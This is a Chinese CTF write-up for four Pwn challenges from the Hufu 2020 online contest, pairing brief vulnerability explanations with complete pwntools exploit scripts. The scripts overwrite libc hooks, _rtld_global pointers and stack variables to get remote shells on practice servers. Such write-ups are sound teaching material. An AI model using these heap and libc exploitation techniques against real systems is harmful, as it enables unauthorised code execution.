虎符2020的线上赛部分Pwn题WP,报名被Pass了,只能从其他师傅那里要题
MarksMan
程序给了libc地址,以及存在一个任意地址写三字节,通过测试,程序在exit的时候会调用_rtld_global结构中的_dl_rtld_lock_recursive或者_dl_rtld_unlock_recursive处的指针,又由于字节过滤不严谨,只要修改后三个字节为rce并确定存在rce满足条件的即可getshell,0x4F2C5此偏移本地通,远程不通,换成0x10A38C打,利用shellcode滑行的技巧,将0x10A38C-5绕过过滤,且可以概率getshell
| 1 | from pwn import* | 
| 2 | from LD import* | 
| 3 | p = remote('node3.buuoj.cn',25519) | 
| 4 | libc = ELF('./libc-2.27.so',checksec=False) | 
| 5 | p.recvuntil('near: ') | 
| 6 | libc_base = int(p.recv(14),16) - libc.sym['puts'] | 
| 7 | log.info('LIBC:\t' + hex(libc_base)) | 
| 8 | p.recvuntil('shoot!shoot!\n') | 
| 9 | fake = libc_base + 0x81DF68 - 8 | 
| 10 | p.sendline(str(fake)) | 
| 11 | rce = libc_base + 0x10A38C - 5 | 
| 12 | off = [rce&0xFF,(rce>>8)&0xFF,(rce>>16)&0xFF] | 
| 13 | log.info('RCE:\t' + hex(rce)) | 
| 14 | for i in range(3): | 
| 15 | 	p.sendline(p8(off[i])) | 
| 16 | p.interactive() | 
下载
Count
arm结构的题,搭建好qemu环境即可调试,题目很简单,不需要本地调试,直接利用IDA F5查看伪C代码即可写EXP
200次输入正确结果,利用python里面的eval函数即可自动计算结果,然后通过溢出覆盖目标变量的值即可getshell
| 1 | from pwn import* | 
| 2 | p = remote('node3.buuoj.cn',29579) | 
| 3 | context.log_level ='DEBUG' | 
| 4 | for i in range(200): | 
| 5 | 	p.recvuntil('~Math:') | 
| 6 | 	equal = p.recvuntil(" = ???input answer:",drop=True) | 
| 7 | 	p.sendline(str(eval(equal))) | 
| 8 | p.recvuntil('good') | 
| 9 | p.sendline('\x00'* 0x64 + p32(0x12235612)) | 
| 10 | p.interactive() | 
下载
SecureBox
申请空间的函数,在判断size是否大于0xFFF的时候变量强制转化成了int类型,则有整型溢出,又当申请一个很大的空间的时候,由于空间肯定不够,最终不会申请,对应的指针位置为0,则此刻有了一个朝大的size,以及指针以0为初始位置,即可实现任意写,最后将接受到的key值逆序与需要写的内容异或,通过enc函数则可往目标地址写上所需写的值
此题KALI2.30环境下打通的,由于没有Ubuntu19的环境,故无法准确的修栈,因此在KALI下打通就算了  
| 1 | from pwn import* | 
| 2 | from LD import* | 
| 3 | def new(size,sign = 0): | 
| 4 |     p.sendlineafter('Exit','1') | 
| 5 |     p.sendlineafter('Size: ',str(size)) | 
| 6 |     if sign: | 
| 7 |     	return | 
| 8 |     p.recvuntil('Key: \n') | 
| 9 | |
| 10 | def free(idx): | 
| 11 |     p.sendlineafter('Exit','2') | 
| 12 |     p.sendlineafter('ID: ',str(idx)) | 
| 13 | |
| 14 | def enc(idx,off,content): | 
| 15 |     p.sendlineafter('Exit','3') | 
| 16 |     p.sendlineafter('ID: ',str(idx)) | 
| 17 |     p.sendlineafter('Offset of msg: ',str(off)) | 
| 18 |     p.sendlineafter('Len of msg: ','16') | 
| 19 |     p.sendafter('Msg: ',content) | 
| 20 | |
| 21 | def leak(idx): | 
| 22 |     p.sendlineafter('Exit','4') | 
| 23 |     p.sendlineafter('Box ID: ',str(idx)) | 
| 24 |     p.sendlineafter('Offset of msg: ','0') | 
| 25 |     p.sendlineafter('Len of msg: ','8') | 
| 26 |     p.recvuntil('Msg: \n') | 
| 27 | |
| 28 | libc = ELF('./libc-2.30.so',checksec=False) | 
| 29 | p = process('./main') | 
| 30 | context.log_level ='DEBUG' | 
| 31 | new(0x500) | 
| 32 | new(0x200) | 
| 33 | free(0) | 
| 34 | new(0x500) | 
| 35 | leak(0) | 
| 36 | libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x60 - 0x10 - libc.sym['__malloc_hook'] | 
| 37 | log.info('LIBC:\t' + hex(libc_base)) | 
| 38 | malloc_hook = libc_base + libc.sym['__malloc_hook'] | 
| 39 | free_hook = libc_base + libc.sym['__free_hook'] | 
| 40 | one_gadget = [0xCB79A,0xCB79D,0xCB7A0,0xE926B, 0xE9277]  #Kali 2.30 | 
| 41 | rce = libc_base + one_gadget[3] | 
| 42 | realloc = libc_base + libc.sym['realloc'] | 
| 43 | new(0x7FFFFFFF00000000+0xFF0) | 
| 44 | rand_1 =p.recv(24).replace(' ','') | 
| 45 | rand_2 =p.recv(24).replace(' ','') | 
| 46 | randq_1 = '' | 
| 47 | randq_2 = '' | 
| 48 | for i in range(15,-1,-2): | 
| 49 | 	randq_1 += (rand_1[i-1] + rand_1[i]) | 
| 50 | 	randq_2 += (rand_2[i-1] + rand_2[i]) | 
| 51 | rceq = (int(randq_1,16) ^ rce)&0xFFFFFFFFFFFFFFFF | 
| 52 | reallocq = (int(randq_2,16) ^ realloc)&0xFFFFFFFFFFFFFFFF | 
| 53 | enc(2,str(malloc_hook-8),p64(rceq) + p64(reallocq)) | 
| 54 | new(0x200,sign=1) | 
| 55 | p.interactive() | 
下载
Encnote
漏洞
- ENC和DEC是个Blowfish对称加解密的两个函数,其中密钥Key是随机生成的,且Key存放在堆块里面
- 漏洞位置在DEC解密的最后,相关伪代码如下如果解密出的8字节内容的高位四字节为0x867D33FB,则可以在栈上某个位置修改单个字节,然后最后一行又会往v8指针的地址上写上解密后的内容1if ( v6 == 0x867D33FB )2*(&i + (BYTE1(v5) & 0x3F)) = v5;3*v8 = v6 | (v5 << 32);利用首先释放一个块chunk1进入unsorted bins,因此会在此块的fd和bk上写上main_arena内容
 修改v8指针为保存Key的堆的指针的末位字节,将保存Key值的指针迁移到之前释放的块的中
- 首先第一次修改为chunk1的bk+5的地址,此处只有一个单字节,前面7个字节均为0,然后可以从此处往后依次爆破单个字节内容,每次爆破有256种可能性(其实只需要最多3256 + 16种可能,首字节与末三位都清楚),只需要最多6256次爆破就能将libc地址爆破出来,且最后,保存Key值的指针指向了chunk1的bk位置
- 爆破出Key值,即可再次利用DEC的单字节修改,将ENC函数中保存加密后结果的指针修改为free_hook,再通过ENC函数将system地址由Blowfish解密后的字符串加密,即可实现向free_hook上写入system函数
| 1 | from pwn import* | 
| 2 | from LD import* | 
| 3 | from Crypto.Cipher import Blowfish | 
| 4 | def new(index,size): | 
| 5 | 	p.sendlineafter('Choice:','1') | 
| 6 | 	p.sendlineafter('Input the id:',str(index)) | 
| 7 | 	p.sendlineafter('Input the length:',str(size)) | 
| 8 | 	p.sendafter('Input note price:','/bin/sh\x00') | 
| 9 | def free(index): | 
| 10 | 	p.sendlineafter('Choice:','2') | 
| 11 | 	p.sendlineafter('Input the id:',str(index)) | 
| 12 | def enc(message): | 
| 13 | 	p.sendlineafter('Choice:\n','5') | 
| 14 | 	p.sendafter('Please input the message:\n',message) | 
| 15 | 	res = p.recvline() | 
| 16 | 	return res.strip() | 
| 17 | def dec(message): | 
| 18 | 	p.sendlineafter('Choice:\n','6') | 
| 19 | 	p.sendafter('Please input the message:\n',message) | 
| 20 | def guess_key(target,key): | 
| 21 | 	for i in range(0x100): | 
| 22 | 		tmp = chr(i) + key | 
| 23 | 		tmp = tmp.ljust(8,'\x00') | 
| 24 | 		c = Blowfish.new(tmp, Blowfish.MODE_ECB) | 
| 25 | 		test = c.encrypt('SSSSYYMF') | 
| 26 | 		if target == test: | 
| 27 | 			return chr(i)+key | 
| 28 | def leak(): | 
| 29 | 	key = "" | 
| 30 | 	for i in range(6): | 
| 31 | 		var = 0x0E39 + ((0x3D-i)<<24) | 
| 32 | 		ret=enc(p32(0x867D33FB) + p32(var)) | 
| 33 | 		dec(ret.zfill(16).decode('hex')[::-1]) | 
| 34 | 		target=enc('FMYYSSSS').zfill(16) | 
| 35 | 		key = guess_key(target.decode('hex'),key) | 
| 36 | 	return key | 
| 37 | def modify(target,key): | 
| 38 | 	for i in range(8): | 
| 39 | 		tmp = p32(0x867D33FB) + chr(0xB0-i) + chr(0x0E) + chr(0) + target[i] | 
| 40 | 		c = Blowfish.new(key, Blowfish.MODE_ECB) | 
| 41 | 		enc_data = c.encrypt(tmp[::-1]) | 
| 42 | 		dec(enc_data[::-1]) | 
| 43 | libc = ELF('./libc-2.23.so',checksec=False) | 
| 44 | LD=change_ld('./main','./ld-2.23.so') | 
| 45 | p = LD.process(env={'LD_PRELOAD':'./libc-2.23.so'}) | 
| 46 | #context.log_level ='DEBUG' | 
| 47 | p = remote('node3.buuoj.cn',27397) | 
| 48 | new(0,0x100) | 
| 49 | new(1,0x30) | 
| 50 | free(0) | 
| 51 | key = leak().ljust(8,'\x00') | 
| 52 | libc_base = u64(key) - libc.sym['__malloc_hook'] - 0x10 - 88 - 0x100 | 
| 53 | log.info('LIBC:\t' + hex(libc_base)) | 
| 54 | system =libc_base + libc.sym['system'] | 
| 55 | target = p64(libc_base + libc.sym['__free_hook'])[::-1] | 
| 56 | modify(target,key) | 
| 57 | dec_system = (Blowfish.new(key,Blowfish.MODE_ECB)).decrypt(p64(system)[::-1]) | 
| 58 | enc(dec_system[::-1]) | 
| 59 | free(1) | 
| 60 | p.interactive() | 
总结
此题难度对我来说挺大的,对于常见的利用习惯了,突然加了个算法,找到洞也没有思路,最后看了WP才知道,还是TTTTTTTTTCL
